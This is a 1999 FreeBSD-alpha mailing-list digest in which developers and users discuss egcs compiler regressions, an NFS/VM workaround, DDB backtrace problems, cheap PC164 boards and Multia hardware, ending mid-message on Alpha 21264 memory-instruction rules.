Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id NAA19242 for ; Tue, 13 Apr 1999 13:45:06 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id NAA48905; Tue, 13 Apr 1999 13:45:04 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Tue, 13 Apr 1999 13:45:03 -0400 (EDT) To: freebsd-alpha@freebsd.org Subject: EGCS breaks dump? X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14099.32331.276932.746125@grasshopper.cs.duke.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org dump, when built with egcs, creates unreadable backups on alphas. Eg, restore says: #restore -ivf /var/tmp/image Verify tape and initialize maps Tape block size is 32 Tape is not a dump tape When built on an older system, with gcc version 2.7.2.1, things work as expected and usable backups created. I'm fairly certain its egcs itself, because if I create the .o files on a new system (-current as of last friday or so, with egcs as cc) and link the binary on an older system (-current as of mid Jan., gcc as cc), bad backups are created. I've tried backing down to -O0, which doesn't seem to help. Can a toolchain wizzard please look into this? Thanks, Drew ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 13 10:59:26 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (Postfix) with ESMTP id D263D15890 for ; Tue, 13 Apr 1999 10:59:24 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id KAA18655; Tue, 13 Apr 1999 10:57:03 -0700 (PDT) (envelope-from dillon) Date: Tue, 13 Apr 1999 10:57:03 -0700 (PDT) From: Matthew Dillon Message-Id: <199904131757.KAA18655@apollo.backplane.com> To: Matthew Jacob Cc: alpha@FreeBSD.ORG Subject: Re: Hmm... still NFS problems for Alpha? References: Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I missed one. Also try #if 0'ing out the pmap_zero_page_area() call in vm_page_zero_invalid(), also in vm/vm_page.c. I'm working on a more permanent fix but it is not trivial enough to post at the moment. Basically, the problem is that NFS's piecemeal writes confuse the VM system. The new code that zeros invalid portions of buffers, that the temporary patch #if 0's out, is stomping on pieces of the NFS system. The bug is in NFS, though, not the new code. -Matt Matthew Dillon :*after* the VM patch, I still get: : : make depend && make :cc -c -nostdinc -I- -I. -I../.. -I/usr/include -DKERNEL -include :opt_global.h -UKERNEL ../../alpha/alpha/genassym.c :cc -static -nostdinc -I- -I. -I../.. -I/usr/include -DKERNEL -include :opt_global.h genassym.o -o genassym :./genassym >assym.s :Illegal instruction - core dumped :*** Error code 132 : :Stop. :farrago.feral.com > uname -a :FreeBSD farrago.feral.com 4.0-CURRENT FreeBSD 4.0-CURRENT #0: Mon Apr 12 :23:02:43 PDT 1999 mjacob@farrago.feral.com:/tmp/sys/compile/FARRAGO :alpha : :(same source builds in local or mfs based filesystems fine) : : :Anybody else still having NFS problems with alpha? : : : : To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 13 11:33:43 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from smtp05.primenet.com (smtp05.primenet.com [206.165.6.135]) by hub.freebsd.org (Postfix) with ESMTP id 2BFE614BF6 for ; Tue, 13 Apr 1999 11:33:37 -0700 (PDT) (envelope-from tlambert@usr05.primenet.com) Received: (from daemon@localhost) by smtp05.primenet.com (8.9.1/8.9.1) id LAA44694; Tue, 13 Apr 1999 11:32:19 -0700 Received: from usr05.primenet.com(206.165.6.205) via SMTP by smtp05.primenet.com, id smtpdqaPdEa; Tue Apr 13 11:32:15 1999 Received: (from tlambert@localhost) by usr05.primenet.com (8.8.5/8.8.5) id LAA04268; Tue, 13 Apr 1999 11:31:09 -0700 (MST) From: Terry Lambert Message-Id: <199904131831.LAA04268@usr05.primenet.com> Subject: Re: make buildworld , failed. To: dfr@nlsystems.com (Doug Rabson) Date: Tue, 13 Apr 1999 18:31:09 +0000 (GMT) Cc: khaled@mailbox.telia.net, freebsd-alpha@FreeBSD.ORG In-Reply-To: from "Doug Rabson" at Apr 13, 99 10:56:33 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > I downloaded the 4.0-19990316 src a while ago. > > now when i try to make buildworld it fails with these lines > > Can you retry with today's current. We no longer have gcc in the tree > since we have switch over to egcs. Peachy. http://www.cco.caltech.edu/~jafl/jx/egcs_complain.html | Give Mike Stump credit for having the right attitude, even if he | doesn't have any power to enforce it: | | If this is the bug I think it is, H.J. Lu broke your code, and checked in: | | Wed Aug 27 01:24:25 1997 H.J. Lu (hjl@gnu.ai.mit.edu) | | config/linux.h (DEFAULT_VTABLE_THUNKS): New. Defined as 1 if | USE_GNULIBC_1 is not defined. | | I knew it would break your code, and told him `Some users will | expect this testcase to work. The failure mode of this with | thunks is particularly bad as the this pointer will be wrong | at times, and that shift can cause all sorts of very hard to | figure out problems' (see message 1997-Aug/0668). | | My preference was for people to finish off the implementation | of thunks, and then if they are a codegen win, to default all | architectures over to thunks. | | > What does ANSI C++ standard say we should get? It mandates | > that the test work. | > | > Does this mean it will be fixed in egcs-1.1? | | Nope, not unless someone steps forward to fix it. People have | know about it for about a year, and it remains unfixed. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 13 12:16:36 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id A2DA714D69 for ; Tue, 13 Apr 1999 12:16:30 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id UAA54796; Tue, 13 Apr 1999 20:18:10 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Tue, 13 Apr 1999 20:18:09 +0100 (BST) From: Doug Rabson To: Hidetoshi Shimokawa Cc: gallatin@cs.duke.edu, freebsd-alpha@freebsd.org, obrien@NUXI.com Subject: Re: EGCS and Alpha builds In-Reply-To: <14099.10351.647510.43847V@ett.sat.t.u-tokyo.ac.jp> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 13 Apr 1999, Hidetoshi Shimokawa wrote: > At Sun, 11 Apr 1999 19:26:49 +0100 (BST), > Doug Rabson wrote: > > > I'm going to make world/kernel with '-Os -mcpu=ev56'. > > > > That might be interesting.. > > I couldn't finish make world with '-Os -mcpu=ev56" because bison > run forever. And the kernel built with the option was unstable. > But make world/kernel with '-O2 -mcpu=ev56' seems to work fine. > > BTW, I have trouble with stack trace in GDB/DDB. > I think you can reproduce the problem easily in DDB. > > [send break] > Stopped at siointr1+0xcc: br zero,siointr1+0x1fc > db> trace > siointr1() at siointr1+0xcc > siointr() at siointr+0x14 > siointr() at siointr+0x14 > siointr() at siointr+0x14 > siointr() at siointr+0x14 > siointr() at siointr+0x14 > siointr() at siointr+0x14 > ... [continue forever until you reset the machine] > > Stack frame might be changed in egcs, but I don't know how to fix. The backtrace code in DDB is somewhat fragile. It has to parse the function prologue to figure out where the return address is. I expect egcs has changed the prologue. GDB does something similar; hopefully it will be fixed in gdb-4.18. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 13 16: 2: 3 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from eta.ghs.com (eta.ghs.com [208.8.104.2]) by hub.freebsd.org (Postfix) with ESMTP id 885FF14D7C for ; Tue, 13 Apr 1999 16:01:56 -0700 (PDT) (envelope-from ross@ghs.com) Received: [from elbe.ghs.com (elbe.ghs.com [192.67.158.245]) by eta.ghs.com (eta-antispam 0.2) with ESMTP id PAA23322; Tue, 13 Apr 1999 15:59:18 -0700 (PDT)] Received: (from ross@localhost) by elbe.ghs.com (8.8.8/8.8.8) id PAA18530; Tue, 13 Apr 1999 15:59:18 -0700 (PDT) Date: Tue, 13 Apr 1999 15:59:18 -0700 (PDT) From: Ross Harvey Message-Id: <199904132259.PAA18530@elbe.ghs.com> To: mark@jumpweb.com, walter@fortean.com Subject: Re: More DEC Multia Questions Cc: freebsd-alpha@FreeBSD.ORG Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org : From: "Bruce M. Walter" > To: "Gooderum, Mark" > > See the 'My Multia doubles as a space heater' section of: > > ftp://ftp.tuwien.ac.at/opsys/aux/netbsd/htdocs/Ports/alpha/multiafaq.html > > for lots of good Multia info along with the part numbers for several fans > from McMaster Carr. I've got a bunch of Multia urls compiled and if I get > through this list of who's naughty and who's nice before December, I'll > post it somewhere accessible. ;) I'm confused, since both you and your receipients are in the US, why did you direct him and everyone all the way to the Austrian NetBSD mirror site? Why not just use the main site? www.netbsd.org/Ports/alpha/... Or, if you really just like Austria, why go to trouble to list its (odd, and subject-to-change) A-record, since it's always linked via the easy-to-remember cannonical name? www.at.netbsd.org Regards... Ross.Harvey@Computer.Org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 6:15:37 1999 Delivered-To: freebsd-alpha@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 608) id D8C261570E; Wed, 14 Apr 1999 06:15:35 -0700 (PDT) From: "Jonathan M. Bresler" To: wilko@yedi.iaf.nl Cc: freebsd-alpha@freebsd.org In-reply-to: <199904112059.WAA06005@yedi.iaf.nl> (message from Wilko Bulte on Sun, 11 Apr 1999 22:59:18 +0200 (CEST)) Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) Message-Id: <19990414131535.D8C261570E@hub.freebsd.org> Date: Wed, 14 Apr 1999 06:15:35 -0700 (PDT) Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Wilko, can i still get in on this purchase? i would like to get 2 boards with cpus and 2 powwe supplies. jmb To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 6:17:37 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from picnic.mat.net (picnic.mat.net [206.246.122.133]) by hub.freebsd.org (Postfix) with ESMTP id B4FF215797; Wed, 14 Apr 1999 06:17:32 -0700 (PDT) (envelope-from chuckr@picnic.mat.net) Received: from localhost (chuckr@localhost) by picnic.mat.net (8.9.3/8.8.5) with ESMTP id JAA41039; Wed, 14 Apr 1999 09:13:11 -0400 (EDT) Date: Wed, 14 Apr 1999 09:13:11 -0400 (EDT) From: Chuck Robey To: "Jonathan M. Bresler" Cc: wilko@yedi.iaf.nl, freebsd-alpha@FreeBSD.ORG Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) In-Reply-To: <19990414131535.D8C261570E@hub.freebsd.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 14 Apr 1999, Jonathan M. Bresler wrote: > > Wilko, > can i still get in on this purchase? > > i would like to get 2 boards with cpus and 2 powwe supplies. I wrote to Thor Lancelot Simon , who was the guy who had the boards, on Tuesday. No reply yet. I wanted just one of the same deal. > > jmb > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-alpha" in the body of the message > ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@picnic.mat.net | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run picnic (FreeBSD-current) (301) 220-2114 | and jaunt (Solaris7). ----------------------------+----------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 6:38:28 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from swp5.gs.com (swp5.gs.com [192.246.9.39]) by hub.freebsd.org (Postfix) with ESMTP id 389BA14BDE for ; Wed, 14 Apr 1999 06:38:25 -0700 (PDT) (envelope-from Wally.Koscielny@gs.com) Received: from swp5.gs.com (root@localhost) by swp5.gs.com with ESMTP id JAA25421; Wed, 14 Apr 1999 09:36:04 -0400 (EDT) Received: from nbcppsh02.wan.gs.com ([199.29.246.34]) by swp5.gs.com with ESMTP id JAA25386; Wed, 14 Apr 1999 09:36:02 -0400 (EDT) Received: from nbcppsh01.wan.gs.com (nbcppsh01.wan.gs.com [138.8.220.34]) by nbcppsh02.wan.gs.com (8.9.1a/8.9.0/dmzpo1) with ESMTP id JAA04376; Wed, 14 Apr 1999 09:36:15 -0400 (EDT) Received: from gsny24e.et.gs.com (gsny24e.et.gs.com [138.8.115.34]) by nbcppsh01.wan.gs.com (8.9.1a/8.9.0/postoffice1) with ESMTP id JAA19118; Wed, 14 Apr 1999 09:36:00 -0400 (EDT) Received: by gsny24e.et.gs.com with Internet Mail Service (5.0.1460.8) id <2ZHX53HY>; Wed, 14 Apr 1999 09:35:50 -0400 Message-ID: From: "Koscielny, Wally" To: "'Chuck Robey'" Cc: freebsd-alpha@FreeBSD.ORG Subject: RE: many cheap PC164 boards -- gret for NetBSD (fwd) Date: Wed, 14 Apr 1999 09:35:48 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1460.8) Content-Type: text/plain Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org A store near me has/had these boards with a 500 mhz chip for $250. They also have/had the pc164lx with a 533 chip for $800, which is what im planning to get. If any of you want the pc164's with chips for 250 plus shipping let me know and i can check if the place still has them. WK > -----Original Message----- > From: Chuck Robey [SMTP:chuckr@picnic.mat.net] > Sent: Wednesday, April 14, 1999 9:13 AM > To: Jonathan M. Bresler > Cc: wilko@yedi.iaf.nl; freebsd-alpha@FreeBSD.ORG > Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) > > On Wed, 14 Apr 1999, Jonathan M. Bresler wrote: > > > > > Wilko, > > can i still get in on this purchase? > > > > i would like to get 2 boards with cpus and 2 powwe supplies. > > I wrote to Thor Lancelot Simon , who was the guy who > had the boards, on Tuesday. No reply yet. I wanted just one of the > same deal. > > > > > jmb > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-alpha" in the body of the message > > > > ----------------------------+--------------------------------------------- > -- > Chuck Robey | Interests include any kind of voice or data > chuckr@picnic.mat.net | communications topic, C programming, and > Unix. > 213 Lakeside Drive Apt T-1 | > Greenbelt, MD 20770 | I run picnic (FreeBSD-current) > (301) 220-2114 | and jaunt (Solaris7). > ----------------------------+--------------------------------------------- > -- > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-alpha" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 6:54: 9 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from quackerjack.cc.vt.edu (quackerjack.cc.vt.edu [198.82.160.250]) by hub.freebsd.org (Postfix) with ESMTP id 1684614FD0 for ; Wed, 14 Apr 1999 06:54:07 -0700 (PDT) (envelope-from nmanisca@vt.edu) Received: from sable.cc.vt.edu (sable.cc.vt.edu [128.173.16.30]) by quackerjack.cc.vt.edu (8.8.8/8.8.8) with ESMTP id JAA08518 for ; Wed, 14 Apr 1999 09:51:47 -0400 (EDT) Received: from dog (nmanisca.campus.vt.edu [198.82.115.27]) by sable.cc.vt.edu (8.8.8/8.8.8) with SMTP id JAA13818 for ; Wed, 14 Apr 1999 09:51:45 -0400 (EDT) Message-Id: <3.0.32.19990414095105.0142c500@mail.vt.edu> X-Sender: nmanisca@mail.vt.edu X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Wed, 14 Apr 1999 09:51:06 -0400 To: freebsd-alpha@FreeBSD.ORG From: nm Subject: RE: many cheap PC164 boards -- gret for NetBSD (fwd) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org so whats the catch on these $250 boards? is there no on board cache? these are the 21164PC chips right? so they lack the onchip 96k l2, but is there any cache on the board? nick At 09:35 AM 4/14/99 -0400, Koscielny, Wally wrote: >A store near me has/had these boards with a 500 mhz chip for $250. They also >have/had the pc164lx with a 533 chip for $800, which is what im planning to >get. If any of you want the pc164's with chips for 250 plus shipping let me >know and i can check if the place still has them. > >WK To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 6:56:40 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from swp5.gs.com (swp5.gs.com [192.246.9.39]) by hub.freebsd.org (Postfix) with ESMTP id 13ED01576A for ; Wed, 14 Apr 1999 06:56:37 -0700 (PDT) (envelope-from Wally.Koscielny@gs.com) Received: from swp5.gs.com (root@localhost) by swp5.gs.com with ESMTP id JAA08264; Wed, 14 Apr 1999 09:54:16 -0400 (EDT) Received: from nbcppsh02.wan.gs.com ([199.29.246.34]) by swp5.gs.com with ESMTP id JAA08253; Wed, 14 Apr 1999 09:54:16 -0400 (EDT) Received: from nbcppsh01.wan.gs.com (nbcppsh01.wan.gs.com [138.8.220.34]) by nbcppsh02.wan.gs.com (8.9.1a/8.9.0/dmzpo1) with ESMTP id JAA10770; Wed, 14 Apr 1999 09:54:29 -0400 (EDT) Received: from gsny24e.et.gs.com (gsny24e.et.gs.com [138.8.115.34]) by nbcppsh01.wan.gs.com (8.9.1a/8.9.0/postoffice1) with ESMTP id JAA27255; Wed, 14 Apr 1999 09:54:14 -0400 (EDT) Received: by gsny24e.et.gs.com with Internet Mail Service (5.0.1460.8) id <2ZHX53KD>; Wed, 14 Apr 1999 09:54:04 -0400 Message-ID: From: "Koscielny, Wally" To: "'nm'" , freebsd-alpha@FreeBSD.ORG Subject: RE: many cheap PC164 boards -- gret for NetBSD (fwd) Date: Wed, 14 Apr 1999 09:54:03 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1460.8) Content-Type: text/plain Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org There is 1 MB of cache and they dont lack onchip cache either. Yes they are 21164 chips. The 164LX has 2 MB. I myself am prolly gonna get that one if they still have them. Theres really no catch. but im not sure if they are still available. WK > -----Original Message----- > From: nm [SMTP:nmanisca@vt.edu] > Sent: Wednesday, April 14, 1999 9:51 AM > To: freebsd-alpha@FreeBSD.ORG > Subject: RE: many cheap PC164 boards -- gret for NetBSD (fwd) > > so whats the catch on these $250 boards? is there no on board cache? > these are the 21164PC chips right? so they lack the onchip 96k l2, but > is there any cache on the board? > > nick > > At 09:35 AM 4/14/99 -0400, Koscielny, Wally wrote: > >A store near me has/had these boards with a 500 mhz chip for $250. They > also > >have/had the pc164lx with a 533 chip for $800, which is what im planning > to > >get. If any of you want the pc164's with chips for 250 plus shipping let > me > >know and i can check if the place still has them. > > > >WK > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-alpha" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 7:22:13 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from swp5.gs.com (swp5.gs.com [192.246.9.39]) by hub.freebsd.org (Postfix) with ESMTP id 7ABA515775 for ; Wed, 14 Apr 1999 07:22:09 -0700 (PDT) (envelope-from Wally.Koscielny@gs.com) Received: from swp5.gs.com (root@localhost) by swp5.gs.com with ESMTP id KAA24530 for ; Wed, 14 Apr 1999 10:19:49 -0400 (EDT) Received: from nbcppsh02.wan.gs.com ([199.29.246.34]) by swp5.gs.com with ESMTP id KAA24518 for ; Wed, 14 Apr 1999 10:19:48 -0400 (EDT) Received: from nbcppsh01.wan.gs.com (nbcppsh01.wan.gs.com [138.8.220.34]) by nbcppsh02.wan.gs.com (8.9.1a/8.9.0/dmzpo1) with ESMTP id KAA19032 for ; Wed, 14 Apr 1999 10:20:02 -0400 (EDT) Received: from gsny24e.et.gs.com (gsny24e.et.gs.com [138.8.115.34]) by nbcppsh01.wan.gs.com (8.9.1a/8.9.0/postoffice1) with ESMTP id KAA07926 for ; Wed, 14 Apr 1999 10:19:47 -0400 (EDT) Received: by gsny24e.et.gs.com with Internet Mail Service (5.0.1460.8) id <2ZHX53M7>; Wed, 14 Apr 1999 10:19:37 -0400 Message-ID: From: "Koscielny, Wally" To: freebsd-alpha@FreeBSD.ORG Subject: RE: many cheap PC164 boards -- gret for NetBSD (fwd) Date: Wed, 14 Apr 1999 10:19:34 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1460.8) Content-Type: text/plain Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I called up and they said they are currently sold out but are expecting a shipment in the near future. I asked if there is anything wrong with the boards or chips and they said that they are guaranteed against DOA. However, they do need some special power supply which is like $100. But, that goes for all of these PC164 boards. WK > -----Original Message----- > From: Chuck Robey [SMTP:chuckr@picnic.mat.net] > Sent: Wednesday, April 14, 1999 9:13 AM > To: Jonathan M. Bresler > Cc: wilko@yedi.iaf.nl; freebsd-alpha@FreeBSD.ORG > Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) > > On Wed, 14 Apr 1999, Jonathan M. Bresler wrote: > > > > > Wilko, > > can i still get in on this purchase? > > > > i would like to get 2 boards with cpus and 2 powwe supplies. > > I wrote to Thor Lancelot Simon , who was the guy who > had the boards, on Tuesday. No reply yet. I wanted just one of the > same deal. > > > > > jmb > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-alpha" in the body of the message > > > > ----------------------------+--------------------------------------------- > -- > Chuck Robey | Interests include any kind of voice or data > chuckr@picnic.mat.net | communications topic, C programming, and > Unix. > 213 Lakeside Drive Apt T-1 | > Greenbelt, MD 20770 | I run picnic (FreeBSD-current) > (301) 220-2114 | and jaunt (Solaris7). > ----------------------------+--------------------------------------------- > -- > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-alpha" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 7:33:48 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from aries.fortean.com (aries.fortean.com [209.42.229.210]) by hub.freebsd.org (Postfix) with ESMTP id C54D315788 for ; Wed, 14 Apr 1999 07:33:40 -0700 (PDT) (envelope-from walter@fortean.com) Received: from localhost (walter@localhost) by aries.fortean.com (8.8.8/8.8.8) with SMTP id KAA25543; Wed, 14 Apr 1999 10:29:28 -0400 (EDT) (envelope-from walter@fortean.com) X-Authentication-Warning: aries.fortean.com: walter owned process doing -bs Date: Wed, 14 Apr 1999 10:29:28 -0400 (EDT) From: "Bruce M. Walter" To: Ross Harvey Cc: mark@jumpweb.com, freebsd-alpha@FreeBSD.ORG Subject: Re: More DEC Multia Questions In-Reply-To: <199904132259.PAA18530@elbe.ghs.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I'm confused, since both you and your receipients are in the US, why did > you direct him and everyone all the way to the Austrian NetBSD mirror site? > Why not just use the main site? Because, when you're sifting through hundreds and hundreds of links returned from AltaVista, you generally tend to lose interest in finding the closest link and just stick to the ones that work. However, if you're offering optimizing my bookmarks as a free service, I'm definitely interested. ;) - Bruce ______________________ Bruce M. Walter, Principal NIXdesign Group Inc. 426 S. Dawson Street Raleigh NC 27601 USA 919.829.4901 Tel (ext 11) 919.829.4993 Fax http://www.nixdesign.com Visual communications | concept + code To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 8:40: 1 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from swp5.gs.com (swp5.gs.com [192.246.9.39]) by hub.freebsd.org (Postfix) with ESMTP id 8C82015193 for ; Wed, 14 Apr 1999 08:39:50 -0700 (PDT) (envelope-from Wally.Koscielny@gs.com) Received: from swp5.gs.com (root@localhost) by swp5.gs.com with ESMTP id LAA15245 for ; Wed, 14 Apr 1999 11:37:30 -0400 (EDT) Received: from nbcppsh02.wan.gs.com ([199.29.246.34]) by swp5.gs.com with ESMTP id LAA15240 for ; Wed, 14 Apr 1999 11:37:29 -0400 (EDT) Received: from nbcppsh01.wan.gs.com (nbcppsh01.wan.gs.com [138.8.220.34]) by nbcppsh02.wan.gs.com (8.9.1a/8.9.0/dmzpo1) with ESMTP id LAA14334 for ; Wed, 14 Apr 1999 11:37:43 -0400 (EDT) Received: from gsny24e.et.gs.com (gsny24e.et.gs.com [138.8.115.34]) by nbcppsh01.wan.gs.com (8.9.1a/8.9.0/postoffice1) with ESMTP id LAA11500 for ; Wed, 14 Apr 1999 11:37:28 -0400 (EDT) Received: by gsny24e.et.gs.com with Internet Mail Service (5.0.1460.8) id <2ZHX5349>; Wed, 14 Apr 1999 11:37:18 -0400 Message-ID: From: "Koscielny, Wally" To: freebsd-alpha@FreeBSD.ORG Subject: Alpha BIOS Date: Wed, 14 Apr 1999 11:37:15 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1460.8) Content-Type: text/plain Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Wanted to make sure, FreeBSD will run on an NT only 21164 cpu right ? I was told that it would, but I wanted to check with the experts :) BTW, if it could, are there any disadvantages to doing this ? Thank You In Advance, WK To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 8:50:20 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id DC11E152B7 for ; Wed, 14 Apr 1999 08:50:18 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from amber (pm3a-31.cybcon.com [205.147.75.160]) by mail.cybcon.com (8.9.0/8.9.0) with ESMTP id IAA02524 for ; Wed, 14 Apr 1999 08:47:56 -0700 (PDT) Message-Id: <199904141547.IAA02524@mail.cybcon.com> From: "William" To: Subject: External modem on Freebsd?? Date: Wed, 14 Apr 1999 08:47:41 -0700 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Could someone point me to some online resources for setting an external modem up in FreeBSD on an Alpha 233 system? I have a hayes external 56k modem I am planning on useing. Thanks, William To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 8:53:24 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id D33AC152B4 for ; Wed, 14 Apr 1999 08:53:21 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from localhost (mjacob@localhost) by feral.com (8.8.7/8.8.7) with ESMTP id IAA32758; Wed, 14 Apr 1999 08:50:11 -0700 Date: Wed, 14 Apr 1999 08:50:11 -0700 (PWT) From: Matthew Jacob X-Sender: mjacob@feral-gw Reply-To: mjacob@feral.com To: port-alpha@netbsd.org, alpha@freebsd.org Subject: 264 binaries ok? SRM_CHECK available for linux? (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org raising the issue for anyone with concerns ---------- Forwarded message ---------- Date: 14 Apr 1999 13:16:40 +0300 From: Harvey J. Stein Reply-To: axp-list@redhat.com To: axp-list@redhat.com Subject: 264 binaries ok? SRM_CHECK available for linux? Resent-Date: 14 Apr 1999 10:39:40 -0000 Resent-From: axp-list@redhat.com Resent-cc: recipient list not shown: ; I just found this on the openvms page: (http://www.openvms.digital.com/openvms/21264_CONSIDERATIONS.html) Ensuring Proper Use of Interlocked Memory Instructions The Alpha Architecture Reference Manual, Third Edition (AARM) describes strict rules for using interlocked memory instructions. The forthcoming Alpha 21264 (EV6) processor and all future Alpha processors are more stringent than their predecessors in their requirement that these rules be followed. As a result, code that has worked in the 